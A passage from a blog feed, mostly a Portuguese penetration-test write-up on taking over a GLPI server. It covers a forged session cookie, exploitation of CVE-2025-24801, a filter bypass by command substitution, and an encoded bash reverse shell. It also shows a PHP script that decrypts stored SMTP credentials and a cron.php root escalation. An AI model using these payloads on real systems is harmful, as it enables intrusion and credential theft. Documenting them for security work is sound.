&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;URL&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-t&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;api_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparser.parse_args()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; generate_cookie(args.url, args.token)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Executando o script acima é possível obter um cookie de sessão para o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt;. Com o cookie em mãos, finalmente pude me autenticar no GLPI. Para utilizar o cookie capturado, usei uma extensão no navegador chamada &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;chromewebstore.google.com&#x2F;detail&#x2F;cookie-editor&#x2F;hlkenndednhfkekhgcdicdfddnkalmdm&quot;&gt;&lt;strong&gt;Cookie-Editor&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; e inseri o valor capturado. Em seguida, atualizei a página e agora estou autenticado como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; na instância do GLPI.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;cookie-editor.png&quot; alt=&quot;Extensão Cookie-Editor com o cookie inserido&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-interface.png&quot; alt=&quot;Interface do GLPI autenticada como super admin&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;criatividade-e-rce&quot;&gt;Criatividade e RCE&lt;&#x2F;h2&gt;
&lt;p&gt;Com uma sessão de &lt;strong&gt;super admin&lt;&#x2F;strong&gt; estabelecida, agora podemos prosseguir para o comprometimento interno desse GLPI. Conforme visto anteriormente, existe uma outra vulnerabilidade que afeta versões do GLPI inferiores à 10.0.17. Trata-se de uma vulnerabilidade catalogada como &lt;strong&gt;CVE-2025-24801&lt;&#x2F;strong&gt;, que explora uma vulnerabilidade de Local File Inclusion no mecanismo de definir uma fonte para arquivos PDF, cuja ideia é escrever uma webshell maliciosa no diretório temporário do GLPI (&lt;strong&gt;&#x2F;var&#x2F;www&#x2F;html&#x2F;glpi&#x2F;files&#x2F;_tmp&#x2F;&lt;&#x2F;strong&gt;) e acessá-la a partir deste Local File Inclusion, o que posteriormente nos permitirá escalonar para Remote Code Execution.&lt;&#x2F;p&gt;
&lt;p&gt;Primeiramente precisei de uma outra conta admin, pois o exploit que irei utilizar para explorar a vulnerabilidade requisita o usuário e a senha. Lembre-se de criar esta conta com o perfil &lt;strong&gt;super admin&lt;&#x2F;strong&gt;, assim garantimos todas as permissões necessárias.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;creating-account.png&quot; alt=&quot;Criando uma nova conta super admin no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Além disso, precisei permitir o upload de arquivos PHP, o que pode ser feito a partir do formulário de tipos de documentos, da mesma forma que está sendo feita abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;allowing-php-files.png&quot; alt=&quot;Permitindo upload de arquivos PHP no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após permitir o envio de arquivos PHP, utilizei &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;&quot;&gt;o exploit desenvolvido pelo pesquisador &quot;ribeirin&quot; que está disponível em seu GitHub&lt;&#x2F;a&gt;. A sintaxe para a execução do exploit é simples, basta especificar as credenciais da conta administradora que criei anteriormente, a URL do alvo e o comando que desejo executar.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; cve-2025-24801.py&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;&amp;lt;senha&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; https:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; hostname&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;obtaining-rce.png&quot; alt=&quot;Obtendo RCE no GLPI via CVE-2025-24801&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Conforme podemos ver na imagem acima, temos RCE no ambiente! Entretanto, executar comandos através do exploit limita a exploração. Como o entendimento da vulnerabilidade também é importante, enviei as requisições feitas pelo exploit ao Burp Suite através da adição de um proxy no script e tentei executar um comando com espaços e hífens, nesse caso, &lt;code&gt;uname -a&lt;&#x2F;code&gt;. Porém, o servidor está respondendo com &quot;403 Forbidden&quot;, ou seja, estava sendo bloqueado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;rce-error.png&quot; alt=&quot;Erro 403 ao tentar executar comandos com espaços&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos perceber que o servidor está bloqueando o comando, provavelmente através de um mecanismo de defesa nativo da aplicação ou um simples comportamento errôneo. Após algumas tentativas, com o apoio dos meus colegas de trabalho, pude descobrir uma maneira de contornar esse problema utilizando a técnica de &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt;. O &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt; é uma técnica que nos permite executar comandos dentro de crases &lt;em&gt;(backticks)&lt;&#x2F;em&gt; ou &lt;em&gt;$()&lt;&#x2F;em&gt;, onde o resultado do comando é substituído no local.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;command-substitution.png&quot; alt=&quot;Técnica de Command Substitution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, digamos que desejamos executar o comando &lt;code&gt;uname -a&lt;&#x2F;code&gt; novamente, mas desta vez com a técnica Command Substitution embutida, o comando final será:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;u`u`n`u`a`u`m`u`e%20-a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;command-substituion-2.png&quot; alt=&quot;Command Substitution aplicada com sucesso ao uname -a&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos notar que agora não há quaisquer bloqueios e o comando funciona normalmente. Com isso, basta formularmos o comando correto para estabelecer a reverse shell. A ideia que tive foi codificar o comando alvo em &lt;strong&gt;base64&lt;&#x2F;strong&gt; e utilizar as funções &lt;strong&gt;echo&lt;&#x2F;strong&gt; e &lt;strong&gt;base64 -d&lt;&#x2F;strong&gt;, resultando no comando abaixo:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;e`u`c`u`h`u`o+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMC4wLjAuMC8wMCAwPiYxJw==|+b`u`a`u`s`u`e`u`6`u`4+-d+|+b`u`a`u`s`u`h&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;reverse-shell-1.png&quot; alt=&quot;Payload da reverse shell com Command Substitution e base64&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Ao verificar o servidor que estava ouvindo na porta 80, após enviar o payload da reverse shell, pude ver que a sessão foi estabelecida com sucesso e agora tenho acesso interno no GLPI, elevando o comprometimento da aplicação a outro nível.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;reverse-shell-2.png&quot; alt=&quot;Reverse shell estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir deste ponto, executei mais dois ataques no ambiente:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Comprometimento a conta SMTP que estava configurada no ambiente;&lt;&#x2F;li&gt;
&lt;li&gt;Escalação de privilégios para root.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;comprometendo-conta-smtp&quot;&gt;Comprometendo Conta SMTP&lt;&#x2F;h2&gt;
&lt;p&gt;Iniciando com o comprometimento da conta SMTP do ambiente, vale entender que essas configurações ficam armazenadas no banco de dados do GLPI de forma criptografada. Felizmente, o GLPI armazena a chave privada desta criptografia em um arquivo chamado &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt;, que na maioria das vezes está no diretório da aplicação web. Então com a chave em mãos, descriptografar essas informações não seria um problema.&lt;&#x2F;p&gt;
&lt;p&gt;Para obter estes dados, acessei o banco de dados da aplicação a partir do binário do MySQL que já vem instalado por padrão em instâncias do GLPI. As credenciais do banco de dados podemos encontrar geralmente no arquivo de configurações do GLPI, que também fica no diretório da aplicação web.&lt;&#x2F;p&gt;
&lt;p&gt;Com elas em mão, utilizei o seguinte comando para me conectar ao banco de dados:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;mysql&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -u&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;hos&lt;&#x2F;span&gt;&lt;span&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;senha&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;connect-mysql.png&quot; alt=&quot;Conectando ao MySQL do GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Selecionei o banco de dados do GLPI (&lt;em&gt;glpi&lt;&#x2F;em&gt;) e usei o comando &lt;code&gt;SELECT * FROM glpi_configs\g&lt;&#x2F;code&gt; para capturar todas as configurações do GLPI. Também é possível utilizar &lt;code&gt;SELECT smtp_mode, smtp_host, smtp_port, smtp_username, smtp_passwd FROM glpi_configs\g&lt;&#x2F;code&gt; para uma melhor saída, mas optei por capturar todas para garantir que estava atrás dos itens corretos.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;mysql-data-1.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;mysql-data-2.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com as informações coletadas, com foco na senha do usuário ligado ao serviço do SMTP, copiei o arquivo &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt; para minha máquina local e utilizei um script para realizar a descriptografia da senha capturada.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$encoded_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; base64_decode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;Informação Encriptada Em Base64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$nonce&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ciphertext&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$private_key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; file_get_contents&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;glpicrypt.key&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$decrypted&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; sodium_crypto_aead_xchacha20poly1305_ietf_decrypt&lt;&#x2F;span&gt;&lt;span&gt;($ciphertext, $nonce, $nonce, $private_key);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Result: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span&gt; $decrypted;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;decrypt-result.png&quot; alt=&quot;Resultado da descriptografia da senha SMTP&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com a senha do usuário em mãos, consegui me autenticar com sucesso no ambiente Office da conta comprometida e a partir de lá também tive acesso a diversos outros ambientes da empresa cuja autenticação era feita a partir de SSO.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalonando-para-root&quot;&gt;Escalonando para Root&lt;&#x2F;h2&gt;
&lt;p&gt;Durante a enumeração do ambiente Linux, notei que meu usuário tem privilégio de escrita sobre o arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt;. O que acontece é que há um crontab configurado para executar este mesmo arquivo de tempos em tempos, porém com o usuário root, então o processo é simples: basta inserirmos uma reverse shell no &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e teremos privilégios de root.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;crontab.png&quot; alt=&quot;Crontab executando cron.php como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Optei inicialmente por testar a veracidade disso, portanto, fui ao arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e modifiquei o início do arquivo, adicionando a função &lt;strong&gt;system()&lt;&#x2F;strong&gt; do PHP e em seguida utilizei o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt; e um endereço de callback, onde no início do endereço adicionei &lt;strong&gt;$(whoami)&lt;&#x2F;strong&gt; para que fosse impresso o usuário que está executando o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;nslookup.png&quot; alt=&quot;Modificação do cron.php com nslookup para verificar o usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após um breve tempo para que o cron fosse executado, ao acessar o servidor web, pude notar que de fato &lt;strong&gt;o comando nslookup está sendo executado pelo usuário root&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;callback.png&quot; alt=&quot;Callback confirmando execução como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bastou voltar ao arquivo cron.php e substituir o comando de nslookup por uma reverse shell genérica, conforme demonstrado abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;shell.png&quot; alt=&quot;Reverse shell inserida no cron.php&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Modificando o arquivo e salvando-o, aguardei novamente a execução do cron. Alguns minutos depois, tenho a shell root estabelecida com sucesso.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;root.png&quot; alt=&quot;Shell root estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir disto, estabeleci persistência no ambiente e também comprometi outros ambientes Linux que tinha acesso a partir dessa instância GLPI, além de também ter acesso ao ambiente AWS que estava configurado, elevando o comprometimento para além da instância GLPI original.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusao&quot;&gt;Conclusão&lt;&#x2F;h2&gt;
&lt;p&gt;Neste artigo abordo uma situação importante de analisar a diferença de código entre as versões de um software e como uma ideia pode ajudar a formular toda uma sequência de ataques que podem resultar em uma falha de maior impacto ao ambiente. Espero que este artigo contribua com os leitores e que possam ter aprendido algo a partir dele.&lt;&#x2F;p&gt;
&lt;p&gt;Agradeço também à Lexfo pelo ótimo artigo que foi um ponto chave para entender a causa da falha e como poderia me aproveitar dela para escalar privilégios dentro deste contexto.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;agradecimentos&quot;&gt;Agradecimentos&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;guilhermedv&#x2F;&quot;&gt;Guilherme d&#x27;Ávila&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;paulov1ctor&#x2F;&quot;&gt;Paulo Victor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;thau0x01&#x2F;&quot;&gt;Thauan Santos&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;referencias&quot;&gt;Referências&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;blog.lexfo.fr — GLPI: From SQL Injection to RCE&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;compare&#x2F;10.0.17...10.0.18?diff=unified&amp;amp;w&quot;&gt;github.com — GLPI diff 10.0.17...10.0.18&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;tree&#x2F;main&quot;&gt;github.com — CVE-2025-24801 exploit by r1beirin&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Defeating Client-Side Web Encryption with Burp Suite Extension</title>
        <published>2025-12-26T00:00:00+00:00</published>
        <updated>2025-12-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/defeating-client-side-web-encryption/"/>
        <id>https://larper.me/blog/defeating-client-side-web-encryption/</id>
        
        <content type="html" xml:base="https://larper.me/blog/defeating-client-side-web-encryption/">&lt;p&gt;In a recent pentest, I came across a not-so-common situation that gives a false sense of security, what we usually call &quot;security through obscurity&quot;. While interacting with the web application, I noticed that all data sent and received wasn&#x27;t in clear text or anything like that, but rather a JSON entity with all its content encrypted.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image.png&quot; alt=&quot;Burp Suite showing encrypted JSON response from the API&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As seen in the image above, the response content that the API returns consists of the following format:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;&amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CFCFC2;&quot;&gt;&amp;quot;SGVsbG8hIE9sw6EhIEhvbGEh&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
